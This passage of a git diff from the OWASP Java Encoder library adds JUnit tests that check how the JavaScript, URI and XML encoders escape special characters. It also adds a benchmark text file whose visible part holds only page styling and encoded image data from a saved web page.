+ .encode("\\0\\0", "\\0\\0", "\0\0")
+ .encode("\\0 + '0'", "\\0000", "\0000")
+ .encode("\\37 + '0'", "\\0370", "\0370")
+
+ .encoded(0, Character.MAX_CODE_POINT)
+ .valid(' ', '~')
+ .encoded("\"\'\\")
+
+ .validSuite()
+ .encodedSuite()
+
+ .build();
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/JavaScriptEncoderTest.java b/core/src/test/java/org/owasp/encoder/JavaScriptEncoderTest.java
new file mode 100644
index 0000000..6ae349b
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/JavaScriptEncoderTest.java
@@ -0,0 +1,126 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+import org.owasp.encoder.JavaScriptEncoder.Mode;
+
+/**
+ * JavaScriptEncoderTest -- test suite for the JavaScriptEncoder.
+ *
+ * @author Jeff Ichnowski
+ */
+public class JavaScriptEncoderTest extends TestCase {
+ public static Test suite() {
+ TestSuite suite = new TestSuite();
+ for (int asciiOnly = 0 ; asciiOnly <= 1 ; ++asciiOnly) {
+ for (JavaScriptEncoder.Mode mode : JavaScriptEncoder.Mode.values()) {
+// if (!(mode == JavaScriptEncoder.Mode.HTML_CONTENT && asciiOnly == 0)) continue;
+ EncoderTestSuiteBuilder builder = new EncoderTestSuiteBuilder(new JavaScriptEncoder(mode, asciiOnly==1), "(safe)", "(\\)")
+ .encoded(0, 0x1f)
+ .valid(' ', '~')
+ .encoded("\\\'\"");
+
+ switch (mode) {
+ case SOURCE:
+ case BLOCK:
+ builder
+ .encode("\\\"", "\"")
+ .encode("\\\'", "\'");
+ break;
+ case HTML:
+ case ATTRIBUTE:
+ builder
+ .encode("\\x22", "\"")
+ .encode("\\x27", "\'");
+ break;
+ default:
+ throw new AssertionError("unexpected mode: "+mode);
+ }
+
+ switch (mode) {
+ case BLOCK:
+ case HTML:
+ builder
+ .encode("\\/", "/")
+ .encode("\\-", "-")
+ .encoded("/-");
+ break;
+ default:
+ builder.encode("/", "/");
+ break;
+ }
+ if (mode != Mode.SOURCE) {
+ builder.encoded("&");
+ }
+
+ builder
+ .encode("\\\\", "\\")
+ .encode("backspace", "\\b", "\b")
+ .encode("tab", "\\t", "\t")
+ .encode("LF", "\\n", "\n")
+ .encode("vtab", "\\x0b", "\u000b")
+ .encode("FF", "\\f", "\f")
+ .encode("CR", "\\r", "\r")
+ .encode("NUL", "\\x00", "\0")
+ .encode("Line Separator", "\\u2028", "\u2028")
+ .encode("Paragraph Separator", "\\u2029", "\u2029")
+ .encode("abc", "abc")
+ .encode("ABC", "ABC");
+
+ if (asciiOnly == 0) {
+ builder
+ .encode("unicode", "\u1234", "\u1234")
+ .encode("high-ascii", "\u00ff", "\u00ff")
+ .valid(0x7f, Character.MAX_CODE_POINT)
+ .encoded("\u2028\u2029");
+ } else {
+ builder
+ .encode("unicode", "\\u1234", "\u1234")
+ .encode("high-ascii", "\\xff", "\u00ff")
+ .encoded(0x7f, Character.MAX_CODE_POINT);
+ }
+
+ suite.addTest(builder
+ .validSuite()
+ .encodedSuite()
+ .build());
+ }
+ }
+ return suite;
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/URIEncoderTest.java b/core/src/test/java/org/owasp/encoder/URIEncoderTest.java
new file mode 100644
index 0000000..b0e48ea
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/URIEncoderTest.java
@@ -0,0 +1,130 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * URIEncoderTest -- test suite for the URIEncoder.
+ *
+ * @author Jeff Ichnowski
+ */
+public class URIEncoderTest extends TestCase {
+ public static Test suite() {
+ TestSuite suite = new TestSuite();
+ for (URIEncoder.Mode mode : URIEncoder.Mode.values()) {
+ EncoderTestSuiteBuilder builder = new EncoderTestSuiteBuilder(new URIEncoder(mode), "-safe-", "<>")
+ .encoded(0, Character.MAX_CODE_POINT)
+ .invalid(Character.MIN_SURROGATE, Character.MAX_SURROGATE)
+
+ // Characters safe in all modes
+ .valid("-._~")
+ .valid('a', 'z')
+ .valid('A', 'Z')
+ .valid('0', '9');
+
+ switch (mode) {
+ case COMPONENT:
+ // reserved gen-delims
+ builder.encode("%3A", ":");
+ builder.encode("%2F", "/");
+ builder.encode("%3F", "?");
+ builder.encode("%23", "#");
+ builder.encode("%5B", "[");
+ builder.encode("%5D", "]");
+ builder.encode("%40", "@");
+
+ // reserved sub-delims
+ builder.encode("%21", "!");
+ builder.encode("%24", "$");
+ builder.encode("%26", "&");
+ builder.encode("%27", "'");
+ builder.encode("%28", "(");
+ builder.encode("%29", ")");
+ builder.encode("%2A", "*");
+ builder.encode("%2B", "+");
+ builder.encode("%2C", ",");
+ builder.encode("%3B", ";");
+ builder.encode("%3D", "=");
+ break;
+ case FULL_URI:
+ builder.encode(
+ "full-url",
+ "http://www.owasp.org/index.php?foo=bar&baz#fragment",
+ "http://www.owasp.org/index.php?foo=bar&baz#fragment");
+ builder.valid(":/?#[]@!$&'()*+,;=");
+ break;
+ default:
+ throw new AssertionError("untested mode: "+mode);
+ }
+ suite.addTest(builder
+ // simple test of some unencoded characters
+ .encode("abcABC123", "abcABC123")
+
+ // ASCII characters encoded in all modes
+ .encode("%20", " ")
+ .encode("%22", "\"")
+ .encode("%25", "%")
+ .encode("%3C", "<")
+ .encode("%3E", ">")
+ .encode("%5C", "\\")
+ .encode("%5E", "^")
+ .encode("%60", "`")
+ .encode("%7B", "{")
+ .encode("%7C", "|")
+ .encode("%7D", "}")
+
+ // UTF-8 multi-byte handling
+ .encode("2-byte-utf-8", "%C2%A0", "\u00a0")
+ .encode("3-byte-utf-8", "%E0%A0%80", "\u0800")
+ // TODO: double check that this is how the surrogate pair should
+ // be encoded
+ .encode("4-byte-utf-8", "%F0%90%80%80",
+ new StringBuilder().appendCodePoint(0x10000).toString())
+
+ .encode("missing-low-surrogate", "-", "\ud800")
+ .encode("missing-high-surrogate", "-", "\udc00")
+
+ .validSuite()
+ .invalidSuite('-')
+ .encodedSuite()
+
+ .build());
+ }
+ return suite;
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/XMLCommentEncoderTest.java b/core/src/test/java/org/owasp/encoder/XMLCommentEncoderTest.java
new file mode 100644
index 0000000..89a8675
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/XMLCommentEncoderTest.java
@@ -0,0 +1,101 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+
+/**
+ * XMLCommentEncoderTest -- Test suites for the XMLCommentEncoder.
+ *
+ * @author Jeff Ichnowski
+ */
+public class XMLCommentEncoderTest extends TestCase {
+ public static Test suite() {
+ return new EncoderTestSuiteBuilder(
+ XMLCommentEncoderTest.class, new XMLCommentEncoder(), "(safe)", "--")
+ .encode("a - b", "a - b")
+ .encode("<\"&\'>", "<\"&\'>") // valid in comments, not in XML
+
+ .invalid(0, 0x1f)
+ .valid("\t\r\n")
+ .valid(' ', Character.MAX_CODE_POINT)
+ .invalid(0x7f, 0x9f)
+ .valid("\u0085")
+ .encoded("-")
+// .encoded("&><\'\"")
+ .invalid(Character.MIN_SURROGATE, Character.MAX_SURROGATE)
+ .invalid(0xfdd0, 0xfdef)
+ .invalid(0xfffe, 0xffff)
+ .invalid(0x1fffe, 0x1ffff)
+ .invalid(0x2fffe, 0x2ffff)
+ .invalid(0x3fffe, 0x3ffff)
+ .invalid(0x4fffe, 0x4ffff)
+ .invalid(0x5fffe, 0x5ffff)
+ .invalid(0x6fffe, 0x6ffff)
+ .invalid(0x7fffe, 0x7ffff)
+ .invalid(0x8fffe, 0x8ffff)
+ .invalid(0x9fffe, 0x9ffff)
+ .invalid(0xafffe, 0xaffff)
+ .invalid(0xbfffe, 0xbffff)
+ .invalid(0xcfffe, 0xcffff)
+ .invalid(0xdfffe, 0xdffff)
+ .invalid(0xefffe, 0xeffff)
+ .invalid(0xffffe, 0xfffff)
+ .invalid(0x10fffe, 0x10ffff)
+
+ .validSuite()
+ .invalidSuite(XMLEncoder.INVALID_CHARACTER_REPLACEMENT)
+
+ .build();
+ }
+
+ public void testEncodeHyphens() throws Exception {
+ XMLCommentEncoder encoder = new XMLCommentEncoder();
+ assertEquals("-~", Encode.encode(encoder, "--"));
+ assertEquals("ab-~cd", Encode.encode(encoder, "ab--cd"));
+ }
+
+ public void testEncodeHyphenAtEnd() throws Exception {
+ XMLCommentEncoder encoder = new XMLCommentEncoder();
+ assertEquals("~", Encode.encode(encoder, "-"));
+ assertEquals("abc~", Encode.encode(encoder, "abc-"));
+ }
+
+ public void testEncodeHyphenBar() throws Exception {
+ XMLCommentEncoder encoder = new XMLCommentEncoder();
+ assertEquals("-~-~-~-~-~~", Encode.encode(encoder, "-----------"));
+ }
+}
diff --git a/core/src/test/java/org/owasp/encoder/XMLEncoderTest.java b/core/src/test/java/org/owasp/encoder/XMLEncoderTest.java
new file mode 100644
index 0000000..24518ee
--- /dev/null
+++ b/core/src/test/java/org/owasp/encoder/XMLEncoderTest.java
@@ -0,0 +1,138 @@
+// Copyright (c) 2012 Jeff Ichnowski
+// All rights reserved.
+//
+// Redistribution and use in source and binary forms, with or without
+// modification, are permitted provided that the following conditions
+// are met:
+//
+// * Redistributions of source code must retain the above
+// copyright notice, this list of conditions and the following
+// disclaimer.
+//
+// * Redistributions in binary form must reproduce the above
+// copyright notice, this list of conditions and the following
+// disclaimer in the documentation and/or other materials
+// provided with the distribution.
+//
+// * Neither the name of the OWASP nor the names of its
+// contributors may be used to endorse or promote products
+// derived from this software without specific prior written
+// permission.
+//
+// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
+// COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT,
+// INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+// HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+// STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+// ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED
+// OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package org.owasp.encoder;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * XMLEncoderTest -- test suite for the XMLEncoder.
+ *
+ * @author Jeff Ichnowski
+ */
+public class XMLEncoderTest extends TestCase {
+ public static Test suite() {
+ TestSuite suite = new TestSuite();
+ for (XMLEncoder.Mode mode : XMLEncoder.Mode.values()) {
+ EncoderTestSuiteBuilder builder = new EncoderTestSuiteBuilder(new XMLEncoder(mode), "-safe-", "-&-")
+ .encode("safe", "safe")
+ .encode("unencoded &amp; encoded", "unencoded & encoded")
+ .encode("invalid-control-characters", " b ", "\0b\26")
+ .encode("valid-surrogate-pair", "\ud800\udc00", "\ud800\udc00")
+ .encode("missing-low-surrogate", " ", "\ud800")
+ .encode("missing-high-surrogate", " ", "\udc00")
+ .encode("valid-upper-char", "\ufffd", "\ufffd")
+ .encode("invalid-upper-char", " ", "\uffff")
+
+ .invalid(0, 0x1f)
+ .valid("\t\r\n")
+ .valid(' ', Character.MAX_CODE_POINT)
+ .invalid(0x7f, 0x9f)
+ .valid("\u0085")
+ .invalid(Character.MIN_SURROGATE, Character.MAX_SURROGATE)
+ .invalid(0xfdd0, 0xfdef)
+ .invalid(0xfffe, 0xffff)
+ .invalid(0x1fffe, 0x1ffff)
+ .invalid(0x2fffe, 0x2ffff)
+ .invalid(0x3fffe, 0x3ffff)
+ .invalid(0x4fffe, 0x4ffff)
+ .invalid(0x5fffe, 0x5ffff)
+ .invalid(0x6fffe, 0x6ffff)
+ .invalid(0x7fffe, 0x7ffff)
+ .invalid(0x8fffe, 0x8ffff)
+ .invalid(0x9fffe, 0x9ffff)
+ .invalid(0xafffe, 0xaffff)
+ .invalid(0xbfffe, 0xbffff)
+ .invalid(0xcfffe, 0xcffff)
+ .invalid(0xdfffe, 0xdffff)
+ .invalid(0xefffe, 0xeffff)
+ .invalid(0xffffe, 0xfffff)
+ .invalid(0x10fffe, 0x10ffff);
+
+ switch (mode) {
+ case ALL:
+ builder.encoded("&><\'\"")
+ .encode("&amp;", "&")
+ .encode("&gt;", ">")
+ .encode("&lt;", "<")
+ .encode("&#39;", "\'")
+ .encode("&#34;", "\"");
+ break;
+ case CONTENT:
+ builder.encoded("&><")
+ .encode("&amp;", "&")
+ .encode("&gt;", ">")
+ .encode("&lt;", "<")
+ .encode("\'", "\'")
+ .encode("\"", "\"");
+ break;
+ case ATTRIBUTE:
+ builder.encoded("&<\'\"")
+ .encode("&amp;", "&")
+ .encode(">", ">")
+ .encode("&lt;", "<")
+ .encode("&#39;", "\'")
+ .encode("&#34;", "\"");
+ break;
+ case SINGLE_QUOTED_ATTRIBUTE:
+ builder.encoded("&<\'")
+ .encode("&amp;", "&")
+ .encode(">", ">")
+ .encode("&lt;", "<")
+ .encode("&#39;", "\'")
+ .encode("\"", "\"");
+ break;
+ case DOUBLE_QUOTED_ATTRIBUTE:
+ builder.encoded("&<\"")
+ .encode("&amp;", "&")
+ .encode(">", ">")
+ .encode("&lt;", "<")
+ .encode("\'", "\'")
+ .encode("&#34;", "\"");
+ break;
+ default:
+ throw new AssertionError("untested mode: "+mode);
+ }
+
+ suite.addTest(builder
+ .validSuite()
+ .invalidSuite(XMLEncoder.INVALID_CHARACTER_REPLACEMENT)
+ .encodedSuite()
+ .build());
+ }
+ return suite;
+ }
+}
diff --git a/core/src/test/resources/org/owasp/encoder/benchmark-data-1.txt b/core/src/test/resources/org/owasp/encoder/benchmark-data-1.txt
new file mode 100644
index 0000000..8d05a67
--- /dev/null
+++ b/core/src/test/resources/org/owasp/encoder/benchmark-data-1.txt
@@ -0,0 +1,427 @@
+XSS (Cross Site Scripting) Cheat Sheet
+/* See license.txt for terms of usage */ /** reset styling **/ .firebugResetStyles { z-index: 2147483646 !important; top: 0 !important; left: 0 !important; display: block !important; border: 0 none !important; margin: 0 !important; padding: 0 !important; outline: 0 !important; min-width: 0 !important; max-width: none !important; min-height: 0 !important; max-height: none !important; position: fixed !important; -moz-transform: rotate(0deg) !important; -moz-transform-origin: 50% 50% !important; -moz-border-radius: 0 !important; -moz-box-shadow: none !important; background: transparent none !important; pointer-events: none !important; } .firebugBlockBackgroundColor { background-color: transparent !important; } .firebugResetStyles:before, .firebugResetStyles:after { content: "" !important; } /**actual styling to be modified by firebug theme**/ .firebugCanvas { display: none !important; } /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ .firebugLayoutBox { width: auto !important; position: static !important; } .firebugLayoutBoxOffset { opacity: 0.8 !important; position: fixed !important; } .firebugLayoutLine { opacity: 0.4 !important; background-color: #000000 !important; } .firebugLayoutLineLeft, .firebugLayoutLineRight { width: 1px !important; height: 100% !important; } .firebugLayoutLineTop, .firebugLayoutLineBottom { width: 100% !important; height: 1px !important; } .firebugLayoutLineTop { margin-top: -1px !important; border-top: 1px solid #999999 !important; } .firebugLayoutLineRight { border-right: 1px solid #999999 !important; } .firebugLayoutLineBottom { border-bottom: 1px solid #999999 !important; } .firebugLayoutLineLeft { margin-left: -1px !important; border-left: 1px solid #999999 !important; } /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ .firebugLayoutBoxParent { border-top: 0 none !important; border-right: 1px dashed #E00 !important; border-bottom: 1px dashed #E00 !important; border-left: 0 none !important; position: fixed !important; width: auto !important; } .firebugRuler{ position: absolute !important; } .firebugRulerH { top: -15px !important; left: 0 !important; width: 100% !important; height: 14px !important; background: url("data:image/png,%89PNG%0D%0A%1A%0A%00%00%00%0DIHDR%00%00%13%88%00%00%00%0E%08%02%00%00%00L%25a%0A%00%00%00%04gAMA%00%00%D6%D8%D4OX2%00%00%00%19tEXtSoftware%00Adobe%20ImageReadyq%C9e%3C%00%00%04%F8IDATx%DA%EC%DD%D1n%E2%3A%00E%D1%80%F8%FF%EF%E2%AF2%95%D0D4%0E%C1%14%B0%8Fa-%E9%3E%CC%9C%87n%B9%81%A6W0%1C%A6i%9A%E7y%0As8%1CT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AATE9%FE%FCw%3E%9F%AF%2B%2F%BA%97%FDT%1D~K(%5C%9D%D5%EA%1B%5C%86%B5%A9%BDU%B5y%80%ED%AB*%03%FAV9%AB%E1%CEj%E7%82%EF%FB%18%BC%AEJ8%AB%FA'%D2%BEU9%D7U%ECc0%E1%A2r%5DynwVi%CFW%7F%BB%17%7Dy%EACU%CD%0E%F0%FA%3BX%FEbV%FEM%9B%2B%AD%BE%AA%E5%95v%AB%AA%E3E5%DCu%15rV9%07%B5%7F%B5w%FCm%BA%BE%AA%FBY%3D%14%F0%EE%C7%60%0EU%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5JU%88%D3%F5%1F%AE%DF%3B%1B%F2%3E%DAUCNa%F92%D02%AC%7Dm%F9%3A%D4%F2%8B6%AE*%BF%5C%C2Ym~9g5%D0Y%95%17%7C%C8c%B0%7C%18%26%9CU%CD%13i%F7%AA%90%B3Z%7D%95%B4%C7%60%E6E%B5%BC%05%B4%FBY%95U%9E%DB%FD%1C%FC%E0%9F%83%7F%BE%17%7DkjMU%E3%03%AC%7CWj%DF%83%9An%BCG%AE%F1%95%96yQ%0Dq%5Dy%00%3Et%B5'%FC6%5DS%95pV%95%01%81%FF'%07%00%00%00%00%00%00%00%00%00%F8x%C7%F0%BE%9COp%5D%C9%7C%AD%E7%E6%EBV%FB%1E%E0(%07%E5%AC%C6%3A%ABi%9C%8F%C6%0E9%AB%C0'%D2%8E%9F%F99%D0E%B5%99%14%F5%0D%CD%7F%24%C6%DEH%B8%E9rV%DFs%DB%D0%F7%00k%FE%1D%84%84%83J%B8%E3%BA%FB%EF%20%84%1C%D7%AD%B0%8E%D7U%C8Y%05%1E%D4t%EF%AD%95Q%BF8w%BF%E9%0A%BF%EB%03%00%00%00%00%00%00%00%00%00%B8vJ%8E%BB%F5%B1u%8Cx%80%E1o%5E%CA9%AB%CB%CB%8E%03%DF%1D%B7T%25%9C%D5(%EFJM8%AB%CC'%D2%B2*%A4s%E7c6%FB%3E%FA%A2%1E%80~%0E%3E%DA%10x%5D%95Uig%15u%15%ED%7C%14%B6%87%A1%3B%FCo8%A8%D8o%D3%ADO%01%EDx%83%1A~%1B%9FpP%A3%DC%C6'%9C%95gK%00%00%00%00%00%00%00%00%00%20%D9%C9%11%D0%C0%40%AF%3F%EE%EE%92%94%D6%16X%B5%BCMH%15%2F%BF%D4%A7%C87%F1%8E%F2%81%AE%AAvzr%DA2%ABV%17%7C%E63%83%E7I%DC%C6%0Bs%1B%EF6%1E%00%00%00%00%00%00%00%00%00%80cr%9CW%FF%7F%C6%01%0E%F1%CE%A5%84%B3%CA%BC%E0%CB%AA%84%CE%F9%BF)%EC%13%08WU%AE%AB%B1%AE%2BO%EC%8E%CBYe%FE%8CN%ABr%5Dy%60~%CFA%0D%F4%AE%D4%BE%C75%CA%EDVB%EA(%B7%F1%09g%E5%D9%12%00%00%00%00%00%00%00%00%00H%F6%EB%13S%E7y%5E%5E%FB%98%F0%22%D1%B2'%A7%F0%92%B1%BC%24z3%AC%7Dm%60%D5%92%B4%7CEUO%5E%F0%AA*%3BU%B9%AE%3E%A0j%94%07%A0%C7%A0%AB%FD%B5%3F%A0%F7%03T%3Dy%D7%F7%D6%D4%C0%AAU%D2%E6%DFt%3F%A8%CC%AA%F2%86%B9%D7%F5%1F%18%E6%01%F8%CC%D5%9E%F0%F3z%88%AA%90%EF%20%00%00%00%00%00%00%00%00%00%C0%A6%D3%EA%CFi%AFb%2C%7BB%0A%2B%C3%1A%D7%06V%D5%07%A8r%5D%3D%D9%A6%CAu%F5%25%CF%A2%99%97zNX%60%95%AB%5DUZ%D5%FBR%03%AB%1C%D4k%9F%3F%BB%5C%FF%81a%AE%AB'%7F%F3%EA%FE%F3z%94%AA%D8%DF%5B%01%00%00%00%00%00%00%00%00%00%8E%FB%F3%F2%B1%1B%8DWU%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*UiU%C7%BBe%E7%F3%B9%CB%AAJ%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5J%95*U%AAT%A9R%A5*%AAj%FD%C6%D4%5Eo%90%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5%86%AF%1B%9F%98%DA%EBm%BBV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%ADV%AB%D5j%B5Z%AD%D6%E4%F58%01%00%00%00%00%00%00%00%00%00%00%00%00%00%40%85%7F%02%0C%008%C2%D0H%16j%8FX%00%00%00%00IEND%AEB%60%82") repeat-x !important; border-top: 1px solid #BBBBBB !important; border-right: 1px dashed #BBBBBB !important; border-bottom: 1px solid #000000 !important; } .firebugRulerV { top: 0 !important; left: -15px !important; width: 14px !important; height: 100% !important; background: url("data:image/png,%89PNG%0D%0A%1A%0A%00%00%00%0DIHDR%00%00%00%0E%00%00%13%88%08%02%00%00%00%0E%F5%CB%10%00%00%00%04gAMA%00%00%D6%D8%D4OX2%00%00%00%19tEXtSoftware%00Adobe%20ImageReadyq%C9e%3C%00%00%06~IDATx%DA%EC%DD%D1v%A20%14%40Qt%F1%FF%FF%E4%97%D9%07%3BT%19%92%DC%40(%90%EEy%9A5%CB%B6%E8%F6%9Ac%A4%CC0%84%FF%DC%9E%CF%E7%E3%F1%88%DE4%F8%5D%C7%9F%2F%BA%DD%5E%7FI%7D%F18%DDn%BA%C5%FB%DF%97%BFk%F2%10%FF%FD%B4%F2M%A7%FB%FD%FD%B3%22%07p%8F%3F%AE%E3%F4S%8A%8F%40%EEq%9D%BE8D%F0%0EY%A1Uq%B7%EA%1F%81%88V%E8X%3F%B4%CEy%B7h%D1%A2E%EBohU%FC%D9%AF2fO%8BBeD%BE%F7X%0C%97%A4%D6b7%2Ck%A5%12%E3%9B%60v%B7r%C7%1AI%8C%BD%2B%23r%00c0%B2v%9B%AD%CA%26%0C%1Ek%05A%FD%93%D0%2B%A1u%8B%16-%95q%5Ce%DCSO%8E%E4M%23%8B%F7%C2%FE%40%BB%BD%8C%FC%8A%B5V%EBu%40%F9%3B%A72%FA%AE%8C%D4%01%CC%B5%DA%13%9CB%AB%E2I%18%24%B0n%A9%0CZ*Ce%9C%A22%8E%D8NJ%1E%EB%FF%8F%AE%CAP%19*%C3%BAEKe%AC%D1%AAX%8C*%DEH%8F%C5W%A1e%AD%D4%B7%5C%5B%19%C5%DB%0D%EF%9F%19%1D%7B%5E%86%BD%0C%95%A12%AC%5B*%83%96%CAP%19%F62T%86%CAP%19*%83%96%CA%B8Xe%BC%FE)T%19%A1%17xg%7F%DA%CBP%19*%C3%BA%A52T%86%CAP%19%F62T%86%CA%B0n%A9%0CZ%1DV%C6%3D%F3%FCH%DE%B4%B8~%7F%5CZc%F1%D6%1F%AF%84%F9%0F6%E6%EBVt9%0E~%BEr%AF%23%B0%97%A12T%86%CAP%19%B4T%86%CA%B8Re%D8%CBP%19*%C3%BA%A52huX%19%AE%CA%E5%BC%0C%7B%19*CeX%B7h%A9%0C%95%E1%BC%0C%7B%19*CeX%B7T%06%AD%CB%5E%95%2B%BF.%8F%C5%97%D5%E4%7B%EE%82%D6%FB%CF-%9C%FD%B9%CF%3By%7B%19%F62T%86%